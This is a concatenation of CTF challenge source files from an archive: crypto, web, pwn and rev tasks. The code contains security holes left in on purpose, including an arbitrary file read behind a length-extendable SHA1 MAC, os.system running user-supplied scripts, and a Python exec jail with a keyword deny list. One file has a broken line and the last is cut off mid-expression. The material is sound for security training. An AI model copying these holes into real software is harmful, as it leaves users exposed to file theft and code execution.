from sage.all import * from secret import MSG assert len(MSG) == 150 assert MSG.isalpha config = [ (100, 85, 16), (100, 21, 80), (100, 19, 82), (100, 25, 76) ] p, N, v, t = 23 ** 2, 100, 4, 41 F = GF(p) M = MatrixSpace(F, v, v) codeWords = list() for n, k, _ in config: grsCode = codes.GeneralizedReedSolomonCode(F.list()[:n], k) msg, MSG = vector(F, list(MSG[:k].encode())), MSG[k:] codeWords.append(grsCode.encode(msg)) while True: A = M.random_element() A[1,0] = A[2,0] = A[3,0] = A[2,1] = A[3,1] = A[3,2] = 0 if not A.is_singular(): break r = column_matrix(codeWords) * A # cheap transmission channel for _ in range(t): i = randint(0, n - 1) j = randint(0, v - 1) r[i, j] += F.random_element() with open("output.txt", "w") as f: f.write(f"r = {list(r)}\n") f.write(f"A = {list(A)}")
python
MIT
129a3a9fe604443211fa4d493a49630c30689df7
2026-01-05T01:34:13.869332Z
false
sajjadium/ctf-archives
https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/Kashi/2025/misc/Broken/chall.py
ctfs/Kashi/2025/misc/Broken/chall.py
#!/usr/bin/env python3 import hashlib import socket import signal import sys HOST = "0.0.0.0" PORT = 1337 SECRET_KEY = b"REDACTED" def generate_hmac(message): return hashlib.sha1(SECRET_KEY + message.encode()).hexdigest() def signal_handler(sig, frame): print("\n[!] Server shutting down...") sys.exit(0) signal.signal(signal.SIGINT, signal_handler) def handle_client(client, addr): print(f"[*] Connection from {addr}") try: original_data = "count=10&lat=37.351&user_id=1&long=-119.827&file=random.txt" original_hmac = generate_hmac(original_data) client.sendall(f"Retrieve file using format: data|hmac\nExample: {original_data}|{original_hmac}\n".encode()) data = client.recv(1024) if not data: print(f"[-] Client {addr} disconnected.") return try: decoded_data = data.decode("utf-8").strip() except UnicodeDecodeError: decoded_data = data.decode("latin-1").strip() print(f"[*] Received Data: {decoded_data}") if "|" not in decoded_data: client.sendall(b"Invalid format. Use data|hmac\n") return user_data, received_hmac = decoded_data.rsplit("|", 1) user_data_bytes = bytes(user_data, "utf-8").decode("unicode_escape").encode("latin-1") h = hashlib.sha1() h.update(SECRET_KEY + user_data_bytes) computed_signature = h.hexdigest() print(f"[*] Computed Signature: {computed_signature} for body: {repr(user_data)}") print(f"[*] Received Signature: {received_hmac}") if computed_signature != received_hmac: client.sendall(b"Invalid HMAC. Try again.\n") else: try: params = dict(param.split("=") for param in user_data.split("&") if "=" in param) filename = params.get("file") if filename: with open(filename, "r") as f: content = f.read() client.sendall(f"File Contents:\n{content}\n".encode()) else: client.sendall(b"Invalid request format.\n") except FileNotFoundError: client.sendall(b"File not found.\n") except ConnectionResetError: print(f"[!] Client {addr} forcibly disconnected.") except Exception as e: print(f"[!] Error handling client {addr}: {e}") finally: client.close() print(f"[-] Closed connection with {addr}") def start_server(): print(f"[*] Listening on {HOST}:{PORT} ...") server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) server.bind((HOST, PORT)) server.listen(5) while True: try: client, addr = server.accept() handle_client(client, addr) except KeyboardInterrupt: print("\n[!] Shutting down server...") server.close() sys.exit(0) if __name__ == "__main__": start_server()
python
MIT
129a3a9fe604443211fa4d493a49630c30689df7
2026-01-05T01:34:13.869332Z
false
sajjadium/ctf-archives
https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/Kashi/2025/crypto/Random_Inator/server.py
ctfs/Kashi/2025/crypto/Random_Inator/server.py
from redacted import PRNG, FLAG from Crypto.Cipher import AES from Crypto.Util.Padding import pad def encrypt(key, plaintext, iv): cipher = AES.new(key, AES.MODE_CBC, iv) ciphertext = cipher.encrypt(pad(plaintext, 16)) return iv+ciphertext P = PRNG() KEY = P.getBytes(16) IV = P.getBytes(16) print(f"Doofenshmirtz Evil Incorporated!!!\n") print(f"All right, I don't like to repeat myself here but it just happens\nAnyhow, here's the encrypted message: {encrypt(KEY, FLAG, IV).hex()}\nOhh, How I love EVIL") while True: iv = P.getBytes(16) try: pt = input("\nPlaintext >> ") pt = bytes.fromhex(pt) except KeyboardInterrupt: break except: print("Invalid input") continue ct = encrypt(KEY, pt, iv) print(ct.hex())
python
MIT
129a3a9fe604443211fa4d493a49630c30689df7
2026-01-05T01:34:13.869332Z
false
sajjadium/ctf-archives
https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/Kashi/2025/crypto/Absolutely_Encrypted_Shenanigans/AES.py
ctfs/Kashi/2025/crypto/Absolutely_Encrypted_Shenanigans/AES.py
def xor(b1, b2): if len(b1)!=len(b2): raise ValueError("Lengths of byte strings are not equal") return bytes([b1[i]^b2[i] for i in range(len(b1))]) def bytes2matrix(text): return [list(text[i:i+4]) for i in range(0, len(text), 4)] def matrix2bytes(matrix): s = b"" for l in matrix: s += bytes(l) return s def shift_rows(s): s[2][2], s[2][1], s[0][3], s[2][0], s[3][3], s[2][3], s[3][1], s[1][3], s[0][2], s[1][0], s[0][1], s[0][0], s[1][1], s[3][0], s[3][2], s[1][2] = s[2][2], s[3][3], s[0][0], s[1][1], s[2][1], s[1][2], s[3][0], s[2][3], s[0][3], s[0][2], s[3][2], s[0][1], s[3][1], s[1][0], s[2][0], s[1][3] return s xtime = lambda a: (((a << 1) ^ 0x1B) & 0xFF) if (a & 0x80) else (a << 1) def mix_single_column(a): t = a[0] ^ a[1] ^ a[2] ^ a[3] u = a[0] a[0] ^= t ^ xtime(a[0] ^ a[1]) a[1] ^= t ^ xtime(a[1] ^ a[2]) a[2] ^= t ^ xtime(a[2] ^ a[3]) a[3] ^= t ^ xtime(a[3] ^ u) return a def mix_columns(s): for i in range(4): s[i] = mix_single_column(s[i]) return s s_box = ( 0x63, 0x7C, 0x77, 0x7B, 0xF2, 0x6B, 0x6F, 0xC5, 0x30, 0x01, 0x67, 0x2B, 0xFE, 0xD7, 0xAB, 0x76, 0xCA, 0x82, 0xC9, 0x7D, 0xFA, 0x59, 0x47, 0xF0, 0xAD, 0xD4, 0xA2, 0xAF, 0x9C, 0xA4, 0x72, 0xC0, 0xB7, 0xFD, 0x93, 0x26, 0x36, 0x3F, 0xF7, 0xCC, 0x34, 0xA5, 0xE5, 0xF1, 0x71, 0xD8, 0x31, 0x15, 0x04, 0xC7, 0x23, 0xC3, 0x18, 0x96, 0x05, 0x9A, 0x07, 0x12, 0x80, 0xE2, 0xEB, 0x27, 0xB2, 0x75, 0x09, 0x83, 0x2C, 0x1A, 0x1B, 0x6E, 0x5A, 0xA0, 0x52, 0x3B, 0xD6, 0xB3, 0x29, 0xE3, 0x2F, 0x84, 0x53, 0xD1, 0x00, 0xED, 0x20, 0xFC, 0xB1, 0x5B, 0x6A, 0xCB, 0xBE, 0x39, 0x4A, 0x4C, 0x58, 0xCF, 0xD0, 0xEF, 0xAA, 0xFB, 0x43, 0x4D, 0x33, 0x85, 0x45, 0xF9, 0x02, 0x7F, 0x50, 0x3C, 0x9F, 0xA8, 0x51, 0xA3, 0x40, 0x8F, 0x92, 0x9D, 0x38, 0xF5, 0xBC, 0xB6, 0xDA, 0x21, 0x10, 0xFF, 0xF3, 0xD2, 0xCD, 0x0C, 0x13, 0xEC, 0x5F, 0x97, 0x44, 0x17, 0xC4, 0xA7, 0x7E, 0x3D, 0x64, 0x5D, 0x19, 0x73, 0x60, 0x81, 0x4F, 0xDC, 0x22, 0x2A, 0x90, 0x88, 0x46, 0xEE, 0xB8, 0x14, 0xDE, 0x5E, 0x0B, 0xDB, 0xE0, 0x32, 0x3A, 0x0A, 0x49, 0x06, 0x24, 0x5C, 0xC2, 0xD3, 0xAC, 0x62, 0x91, 0x95, 0xE4, 0x79, 0xE7, 0xC8, 0x37, 0x6D, 0x8D, 0xD5, 0x4E, 0xA9, 0x6C, 0x56, 0xF4, 0xEA, 0x65, 0x7A, 0xAE, 0x08, 0xBA, 0x78, 0x25, 0x2E, 0x1C, 0xA6, 0xB4, 0xC6, 0xE8, 0xDD, 0x74, 0x1F, 0x4B, 0xBD, 0x8B, 0x8A, 0x70, 0x3E, 0xB5, 0x66, 0x48, 0x03, 0xF6, 0x0E, 0x61, 0x35, 0x57, 0xB9, 0x86, 0xC1, 0x1D, 0x9E, 0xE1, 0xF8, 0x98, 0x11, 0x69, 0xD9, 0x8E, 0x94, 0x9B, 0x1E, 0x87, 0xE9, 0xCE, 0x55, 0x28, 0xDF, 0x8C, 0xA1, 0x89, 0x0D, 0xBF, 0xE6, 0x42, 0x68, 0x41, 0x99, 0x2D, 0x0F, 0xB0, 0x54, 0xBB, 0x16, ) def add_round_key(s, k): ns = [] for i in range(4): ns.append([]) for j in range(4): ns[i].append(s[i][j]^k[j][i]) return ns def sub_bytes(s, sbox=s_box): resmatrix = [] for i in range(4): resmatrix.append([]) for j in range(4): hexval=hex(s[i][j])[2:] if len(hexval)==1: a,b = 0,int(hexval,16) else: a,b = int(hexval[0],16), int(hexval[1],16) resmatrix[i].append(sbox[a*16+b]) return resmatrix N_ROUNDS = 10 def expand_key(master_key): r_con = ( 0x00, 0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1B, 0x36, 0x6C, 0xD8, 0xAB, 0x4D, 0x9A, 0x2F, 0x5E, 0xBC, 0x63, 0xC6, 0x97, 0x35, 0x6A, 0xD4, 0xB3, 0x7D, 0xFA, 0xEF, 0xC5, 0x91, 0x39, ) key_columns = bytes2matrix(master_key) iteration_size = len(master_key) // 4 i = 1 while len(key_columns) < (N_ROUNDS + 1) * 4: word = list(key_columns[-1]) if len(key_columns) % iteration_size == 0: word.append(word.pop(0)) word = [s_box[b] for b in word] word[0] ^= r_con[i] i += 1 elif len(master_key) == 32 and len(key_columns) % iteration_size == 4: word = [s_box[b] for b in word] word = bytes(i^j for i, j in zip(word, key_columns[-iteration_size])) key_columns.append(word) return [key_columns[4*i : 4*(i+1)] for i in range(len(key_columns) // 4)] def encrypt_block(key, pt_block): round_keys = expand_key(key) state = bytes2matrix(pt_block) state = add_round_key(state, round_keys[0]) state = sub_bytes(state) state = shift_rows(state) for i in range(1,N_ROUNDS): state = mix_columns(state) state = add_round_key(state, round_keys[i]) state = sub_bytes(state) state = shift_rows(state) state = add_round_key(state, round_keys[N_ROUNDS]) ct_block = matrix2bytes(state) return ct_block def encrypt(key, plaintext, mode="ECB", iv=None): if len(plaintext)%16 != 0: raise ValueError("Invalid Plaintext") elif len(key)!=16: raise ValueError("Invalid Key") ciphertext = b"" if mode=="ECB": for i in range(0, len(plaintext), 16): ciphertext += encrypt_block(key, plaintext[i: i+16]) elif mode=="CBC": if (iv==None or len(iv)!=16): raise ValueError("Invalid IV") ciphertext += iv for i in range(0, len(plaintext), 16): ciphertext += encrypt_block(key, xor(ciphertext[i: i+16], plaintext[i: i+16])) return ciphertext[16:] def pad(text, blocksize): padding_len = blocksize - (len(text)%blocksize) padding = bytes([padding_len])*padding_len return text+padding
python
MIT
129a3a9fe604443211fa4d493a49630c30689df7
2026-01-05T01:34:13.869332Z
false
sajjadium/ctf-archives
https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/Kashi/2025/crypto/Absolutely_Encrypted_Shenanigans/server.py
ctfs/Kashi/2025/crypto/Absolutely_Encrypted_Shenanigans/server.py
from AES import encrypt, pad from redacted import secret, flag, EXIT import json import os plaintext = pad(flag, 16) for _ in range(10): iv = os.urandom(8)*2 key = os.urandom(16) try: ciphertext = encrypt(key, plaintext, mode="CBC", iv=iv) except: EXIT() print(json.dumps({ 'key': key.hex(), 'ciphertext': ciphertext.hex() })) inp = input("Enter iv: ") if (iv.hex() != inp): EXIT() print() plaintext = pad(secret, 16) iv = os.urandom(8)*2 key = os.urandom(16) try: ciphertext = encrypt(key, plaintext, mode="CBC", iv=iv) except: EXIT() print(json.dumps({ 'key': key.hex(), 'ciphertext': ciphertext.hex() }))
python
MIT
129a3a9fe604443211fa4d493a49630c30689df7
2026-01-05T01:34:13.869332Z
false
sajjadium/ctf-archives
https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/Kashi/2025/crypto/Key_Exchange/server.py
ctfs/Kashi/2025/crypto/Key_Exchange/server.py
from redacted import EllipticCurve, FLAG, EXIT from Crypto.Cipher import AES from Crypto.Util.Padding import pad import hashlib import random import json import os def encrypt_flag(shared_secret: int): sha1 = hashlib.sha1() sha1.update(str(shared_secret).encode("ascii")) key = sha1.digest()[:16] iv = os.urandom(16) cipher = AES.new(key, AES.MODE_CBC, iv) ciphertext = cipher.encrypt(pad(FLAG, 16)) data = {} data["iv"] = iv.hex() data["ciphertext"] = ciphertext.hex() return json.dumps(data) #Curve Parameters (NIST P-384) p = 39402006196394479212279040100143613805079739270465446667948293404245721771496870329047266088258938001861606973112319 a = -3 b = 27580193559959705877849011840389048093056905856361568521428707301988689241309860865136260764883745107765439761230575 E = EllipticCurve(p,a,b) G = E.point(26247035095799689268623156744566981891852923491109213387815615900925518854738050089022388053975719786650872476732087,8325710961489029985546751289520108179287853048861315594709205902480503199884419224438643760392947333078086511627871) n_A = random.randint(2, p-1) P_A = n_A * G print(f"\nReceived from Weierstrass:") print(f" Here are the curve parameters (NIST P-384)") print(f" {p = }") print(f" {a = }") print(f" {b = }") print(f" And my Public Key: {P_A}") print(f"\nSend to Weierstrass:") P_B_x = int(input(" Public Key x-coord: ")) P_B_y = int(input(" Public Key y-coord: ")) try: P_B = E.point(P_B_x, P_B_y) except: EXIT() S = n_A * P_B print(f"\nReceived from Weierstrass:") print(f" Message: {encrypt_flag(S.x)}")
python
MIT
129a3a9fe604443211fa4d493a49630c30689df7
2026-01-05T01:34:13.869332Z
false
sajjadium/ctf-archives
https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/NexHunt/2025/crypto/X_O/challenge.py
ctfs/NexHunt/2025/crypto/X_O/challenge.py
from Crypto.Util.number import * exponent_value="????" flag="nexus{fake_flag}" length="???" assert (exponent_value + 1) & exponent_value == 0 def bitwise_complement_mask(input_number): length_bits = len(bin(input_number)[2:]) return (2 ** length_bits) - 1 ^ input_number def generate_special_primes(length): while True: prime_p = getPrime(length) q = adlit(p) + 31337 prime_q_candidate = bitwise_complement_mask(prime_p) + 31337 if isPrime(prime_q_candidate): return prime_p, prime_q_candidate p_factor, q_factor = generate_special_primes(length) public_exponent, n = exponent_value, p_factor * q_factor plaintext = bytes_to_long(flag) ciphertext = pow(plaintext, public_exponent, n) print(n) print(ciphertext) """ n = 6511177996560553084428718649484974874903816109044020717712348759746424194960868502282921954755655260770981666437712076542229124793007715259663501829170633750534049407208907690421687757864441793922410767240292036232529532917038745992889974758394498257760463787063951248022774934072795239675294449445542433645888960769413554094351587966915819224421901021114662862623641993630760878913523319047163136140569737167526164891763341699998093388482693981573910794494631203352139878401837004285552275729200354675648315407089994712945512009021136218072571706854738573014100769823462399337089548331448306945584446763681539607951 ciphertext = 984827725645230221324347052244977330492117682286575126523326496581277812667617891725844543782561210186962630019012024776017540715136613353950627900764633445349331400637735076110734618764746482770940301893545750908940015491390221947766313904650996270067225482175266107209996795591364796942718113498093437442697139978616656955812875490282182183154666826877832388394775136357904195398606712232392123557765910102587598502447880609801716183681228197787787802099908494608560166292932239257957965737049740580169734054205160080978654580054115545951894515330375515986233570768499248113770893587476347267912443158615677579435 """
python
MIT
129a3a9fe604443211fa4d493a49630c30689df7
2026-01-05T01:34:13.869332Z
false
sajjadium/ctf-archives
https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/SecurityFest/2022/rev/BeaverFeaver/beaver-feaver.py
ctfs/SecurityFest/2022/rev/BeaverFeaver/beaver-feaver.py
import re parts = [ ("0A$", "1-0B"), ("0A(.)-", "1-\\1B"), ("^0B", "0C1-"), ("(.)-0B", "\\1C1-"), ("^0C", "0A1-"), ("(.)-0C", "\\1A1-"), ("1A$", "1-0H"), ("1A(.)-", "1-\\1H"), ("1B$", "2-0B"), ("1B(.)-", "2-\\1B"), ("1C$", "2-0C"), ("1C(.)-", "2-\\1C"), ("^2A", "0C2-"), ("(.)-2A", "\\1C2-"), ("^2B", "0B1-"), ("(.)-2B", "\\1B1-"), ("^2C", "0A2-"), ("(.)-2C", "\\1A2-") ] s = "0A" n = 0 while True: for a, b in parts: s, c = re.subn(a, b, s) if c: n += c break else: break print(f"SECFEST{{{n}}}")
python
MIT
129a3a9fe604443211fa4d493a49630c30689df7
2026-01-05T01:34:13.869332Z
false
sajjadium/ctf-archives
https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/SecurityFest/2022/crypto/panta_fler/panta_fler.py
ctfs/SecurityFest/2022/crypto/panta_fler/panta_fler.py
from os import urandom from Crypto.Util.strxor import strxor key = urandom(30) ms = [ b"[REDACTED]", b"[REDACTED]", b"[REDACTED]", ] cs = [] for m in ms: cs.append(strxor(key, m)) print(cs) # [ # b'\xc1=\x01}\xe7\x1c\x94YRj\xb3\xa7K@\xde\x0c\x9a\xc9\x00\xb0ZB\r\x87\r\x8b\x8f\xffQ\xc7', # b'\xfc\x1d4^\xd0o\xb2GE|\x89\xe4^]\xcfE\x86\xdd\x1e\x8a\r@\x1c\x96r\x92\x87\xec\x19\xd4', # b'\xfa\x19!P\x82;\xa8G\x10\x7f\x80\xa5DP\xdeE\x94\xc8S\x9cHH\x1f\x8a!\x87\xc0\xe3\x1f\xcd' # ]
python
MIT
129a3a9fe604443211fa4d493a49630c30689df7
2026-01-05T01:34:13.869332Z
false
sajjadium/ctf-archives
https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/SecurityFest/2022/crypto/small_rsa/small_rsa.py
ctfs/SecurityFest/2022/crypto/small_rsa/small_rsa.py
from random import randrange from gmpy2 import next_prime, is_prime bits = 128 bound = randrange(2**(bits-1), 2**bits) print("b =", bound) #299089579545315329927831077361748367952 B = int(next_prime(bound**2)) print("B =", B) #89454576592593506198091003676782760426164579104178557226654770323935580674319 d = 8 def gen_prime(): while True: ps = [randrange(bound) for _ in range(d)] p = 0 for i in range(d): p += ps[i]*B**i if is_prime(p): break print(ps) return p p = gen_prime() q = gen_prime() n = p*q print(f"{n = }") #34636826522268200537774154204941407529988822872148894567372441583415254552447302749228340228906546920018188955427366065775864988572478602396106371080685655564033817360335889100181326997156956367867826271804748628399970980872535732627789819667138755054766468613617857322669943746935541793686046017146304058463046888768033823974071280198556883407966869840605294817458160107581025567028344865676401747062383757953634109234225473151412286700057343914024601771084294978143682676406989676297209210216751760067457688993962995389392757065579902776423369572207772618783218733875876004666171649676348837063312375577831738151728184702454332533310164381393954188000484797023852778358325185035355456975120195736428957973841058260571165844580731851332614644310138023335666774129908073810240673290494869672972129721881195738377137440359704474859842375310892200036137555884160008753002740372280734559191112796694291489720084349580961011222521816640149582773655766774142060407687849118888102012006683658983742498222152936133450205031770557715936326829853770866589383519670805541691607883632863177387841208657406032490492781368768715851417369111054048036698365329818004529 e = 65537 m = b"[REDACTED]" m = int.from_bytes(m, "big") c = pow(m, e, n) print(f"{c = }") #20028745085195583678378916660396397538994010666442432435713640627343638544983255393172148533881365971854283869014758186049316988000737550769605639679479180589253955045598774721246899297252406061180515011481963360240256930643234163280545121729316133742144823763601498670419742214338058035882729739026231634052850909950379775962557912899396425158183194713786156167265753101307366270122197291552260459611820717997757267712339753750891161458350673859656475246424157412488302546155825912483333623112241511338503582503574264361642880778925970123483773426929656284901291439896260232211956880277503017106751458194801408711006508735697948503777541874602351630564440747713117941961365774432080957568074493024639496001096643016830901025267139229529531498995611208677992804905291286283800620644472474016518205177496080326978650925595478508487654201440611536444236269249350798132974110183405726386731371083064781799161730272554725154294836754680153505618540394615227117220937285324830238267813179531144987439258005506277060338763635818845237827323991005526601556189238304698762279589753458427889093496877392067155432030319457380945056863466258912867795091887061462273
python
MIT
129a3a9fe604443211fa4d493a49630c30689df7
2026-01-05T01:34:13.869332Z
false
sajjadium/ctf-archives
https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/SecurityFest/2022/web/madness/app/app.py
ctfs/SecurityFest/2022/web/madness/app/app.py
# coding=utf-8 from flask import Flask, jsonify, make_response, render_template, request, redirect import dns.resolver from werkzeug.urls import url_fix import re app = Flask(__name__, static_url_path="/app/static") @app.route('/', defaults={'path': ''}) @app.route('/<path:path>') def hello_world(path): if path == "": return redirect("/app", code=301) return render_template('index.html', prefix="/"+request.path.lstrip("/")) @app.route('/app/api/lookup/<string:domain>') def lookup(domain): if re.match(r"^[a-z.-]+$", domain): my_resolver = dns.resolver.Resolver() my_resolver.nameservers = ['1.1.1.1'] out = [] try: for item in my_resolver.query(domain, 'A'): out.append(str(item)) return make_response(jsonify({"status":"OK", "result":out})) except Exception as e: return make_response(jsonify({"status":"ERROR", "result":str(e)})) else: e = "invalid domain (^[a-z.-]+) {}".format(domain) return make_response(jsonify({"status":"ERROR", "result":str(e)})) @app.after_request def add_header(response): response.headers['X-Frame-Options'] = 'DENY' response.headers['X-Content-Type-Options'] = 'nosniff' response.headers['Content-Security-Policy'] = "default-src 'self' cloudflare-dns.com; img-src *" return response if __name__ == '__main__': app.run(host='0.0.0.0', debug=False)
python
MIT
129a3a9fe604443211fa4d493a49630c30689df7
2026-01-05T01:34:13.869332Z
false
sajjadium/ctf-archives
https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/SecurityFest/2022/web/madness/app/wsgi.py
ctfs/SecurityFest/2022/web/madness/app/wsgi.py
from app import app if __name__ == "__main__": app.run()
python
MIT
129a3a9fe604443211fa4d493a49630c30689df7
2026-01-05T01:34:13.869332Z
false
sajjadium/ctf-archives
https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/CONFidence/2020/Quals/chromatic_aberration/pow.py
ctfs/CONFidence/2020/Quals/chromatic_aberration/pow.py
import random #pow import subprocess #pow import string #pow POW_BITS = 25 def random_string(n): return ''.join(random.choice(string.ascii_lowercase) for _ in range(n)) def check_pow(): r = random_string(10) print(f"hashcash -mb{POW_BITS} {r}") solution = input("Solution:").strip() if subprocess.call(["hashcash", f"-cdb{POW_BITS}", "-r", r, solution], cwd="/tmp", stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL) != 0: raise Exception("Invalid PoW")
python
MIT
129a3a9fe604443211fa4d493a49630c30689df7
2026-01-05T01:34:13.869332Z
false
sajjadium/ctf-archives
https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/CONFidence/2020/Quals/chromatic_aberration/server.py
ctfs/CONFidence/2020/Quals/chromatic_aberration/server.py
import sys import tempfile import os import pow pow.check_pow() print ("Give me file\n") size = int(input()) assert(size < 1024*1024) #1MB max script = sys.stdin.read(size) # reads one byte at a time, similar to getchar() temp = tempfile.mktemp() with open(temp, "w") as f: f.write(script) os.system("/app/bin/d8 "+temp)
python
MIT
129a3a9fe604443211fa4d493a49630c30689df7
2026-01-05T01:34:13.869332Z
false
sajjadium/ctf-archives
https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/C3CTF/2018/collection/server.py
ctfs/C3CTF/2018/collection/server.py
import os import tempfile import os import string import random def randstr(): return ''.join(random.choice(string.ascii_uppercase + string.digits + string.ascii_lowercase) for _ in range(10)) flag = open("flag", "r") prefix = """ from sys import modules del modules['os'] import Collection keys = list(__builtins__.__dict__.keys()) for k in keys: if k != 'id' and k != 'hex' and k != 'print' and k != 'range': del __builtins__.__dict__[k] """ size_max = 20000 print("enter your code, enter the string END_OF_PWN on a single line to finish") code = prefix new = "" finished = False while size_max > len(code): new = raw_input("code> ") if new == "END_OF_PWN": finished = True break code += new + "\n" if not finished: print("max length exceeded") sys.exit(42) file_name = "/tmp/%s" % randstr() with open(file_name, "w+") as f: f.write(code.encode()) os.dup2(flag.fileno(), 1023) flag.close() cmd = "python3.6 -u %s" % file_name os.system(cmd)
python
MIT
129a3a9fe604443211fa4d493a49630c30689df7
2026-01-05T01:34:13.869332Z
false
sajjadium/ctf-archives
https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/C3CTF/2018/collection/test.py
ctfs/C3CTF/2018/collection/test.py
import Collection a = Collection.Collection({"a":1337, "b":[1.2], "c":{"a":45545}}) print(a.get("a")) print(a.get("b")) print(a.get("c"))
python
MIT
129a3a9fe604443211fa4d493a49630c30689df7
2026-01-05T01:34:13.869332Z
false
sajjadium/ctf-archives
https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/C3CTF/2019/not_BadUSB/server.py
ctfs/C3CTF/2019/not_BadUSB/server.py
#!/usr/bin/env python3 import usb.core, usb.util, sys, base64, os, signal def timeout_handler(signum,frame): print('your time is up', flush=True) sys.exit(0) signal.signal(signal.SIGALRM, timeout_handler) signal.alarm(60) filter_path = os.getenv('DEV_PATH') print('Welcome to hxp\'s TotallyNotBadUSB --- your hardware flag store :>', flush=True) for dev in usb.core.find(find_all=True, idVendor=0x16c0, idProduct=0x05dc): dev_path = str(dev.bus)+'-'+'.'.join([str(x) for x in dev.port_numbers]) if (filter_path is None or filter_path == dev_path) and (dev.manufacturer == 'hxp.io' and dev.product == 'TotallyNotBadUSB'): break else: print('usb device not found :(', flush=True) sys.exit(-1) while True: try: cmd, index, *data = input('cmd: ').split(';', 2) index = int(index) except ValueError as e: continue if cmd == 'r': try: ret = dev.ctrl_transfer(usb.util.CTRL_TYPE_VENDOR | usb.util.CTRL_RECIPIENT_DEVICE | usb.util.CTRL_IN, 2, 0, index, 254) print(base64.b64encode(ret).decode(), flush=True) except: print('error :(', flush=True) elif cmd == 'w': try: ret = dev.ctrl_transfer(usb.util.CTRL_TYPE_VENDOR | usb.util.CTRL_RECIPIENT_DEVICE | usb.util.CTRL_OUT, 1, 0, index, base64.b64decode(data[0])) except: print('error :(', flush=True) elif cmd == 'q': break
python
MIT
129a3a9fe604443211fa4d493a49630c30689df7
2026-01-05T01:34:13.869332Z
false
sajjadium/ctf-archives
https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/C3CTF/2017/lfa/server.py
ctfs/C3CTF/2017/lfa/server.py
#!/usr/bin/python import tempfile import os import string import random def randstr(): return ''.join(random.choice(string.ascii_uppercase + string.digits + string.ascii_lowercase) for _ in range(10)) code = "require 'LFA'\n" code += "syscall 1, 1, \"hello\\n\", 6\n\n" max = 600 # 600 linex should be more than enough ;) print "Enter your code, enter the string END_OF_PWN to finish " while max: new_code = raw_input("code> ") if new_code == "END_OF_PWN": break code += new_code + "\n" max -= 1 name = "/tmp/%s" % randstr() with open(name, "w+") as f: f.write(code) flag = open("flag", "r") os.dup2(flag.fileno(), 1023) flag.close() cmd = "timeout 40 ruby %s" % name os.system(cmd)
python
MIT
129a3a9fe604443211fa4d493a49630c30689df7
2026-01-05T01:34:13.869332Z
false
sajjadium/ctf-archives
https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/UACWS/2022/pwn/Jail_Escape/chal.py
ctfs/UACWS/2022/pwn/Jail_Escape/chal.py
#!/usr/bin/python3 import os def main(): command = input('$ ') for k in ['eval', 'exec', 'import', 'open', 'os', 'read', 'system', 'write', 'get']: if k in command: print("Not allowed") return; else: exec(command) if __name__ == "__main__": print("Flag is at localhost") try: while True: main() except Exception as e: print(e)
python
MIT
129a3a9fe604443211fa4d493a49630c30689df7
2026-01-05T01:34:13.869332Z
false
sajjadium/ctf-archives
https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/UACWS/2022/rev/hidden/hidden.py
ctfs/UACWS/2022/rev/hidden/hidden.py
baa_baa_baa_aaaฮฑa ='1234567890qwertyuiopasdfghjklzxcvbnm! QWERTYUIOPASDFGHJKLZXCVBNM{}_.,' baa_O0O0OO =baa_baa_baa_aaaฮฑa [53 ]+baa_baa_baa_aaaฮฑa [17 ]+baa_baa_baa_aaaฮฑa [36 ]+baa_baa_baa_aaaฮฑa [37 ]+baa_baa_baa_aaaฮฑa [45 ]+baa_baa_baa_aaaฮฑa [35 ]+baa_baa_baa_aaaฮฑa [37 ]+baa_baa_baa_aaaฮฑa [28 ]+baa_baa_baa_aaaฮฑa [18 ]+baa_baa_baa_aaaฮฑa [18 ]+baa_baa_baa_aaaฮฑa [27 ]+baa_baa_baa_aaaฮฑa [17 ]+baa_baa_baa_aaaฮฑa [34 ]+baa_baa_baa_aaaฮฑa [24 ]+baa_baa_baa_aaaฮฑa [37 ]+baa_baa_baa_aaaฮฑa [23 ]+baa_baa_baa_aaaฮฑa [18 ]+baa_baa_baa_aaaฮฑa [13 ]+baa_baa_baa_aaaฮฑa [37 ]+baa_baa_baa_aaaฮฑa [20 ]+baa_baa_baa_aaaฮฑa [37 ]+baa_baa_baa_aaaฮฑa [34 ]+baa_baa_baa_aaaฮฑa [16 ]+baa_baa_baa_aaaฮฑa [35 ]+baa_baa_baa_aaaฮฑa [33 ]+baa_baa_baa_aaaฮฑa [12 ]+baa_baa_baa_aaaฮฑa [13 ]+baa_baa_baa_aaaฮฑa [68 ]+baa_baa_baa_aaaฮฑa [37 ]+baa_baa_baa_aaaฮฑa [20 ]+baa_baa_baa_aaaฮฑa [34 ]+baa_baa_baa_aaaฮฑa [15 ]+baa_baa_baa_aaaฮฑa [37 ]+baa_baa_baa_aaaฮฑa [34 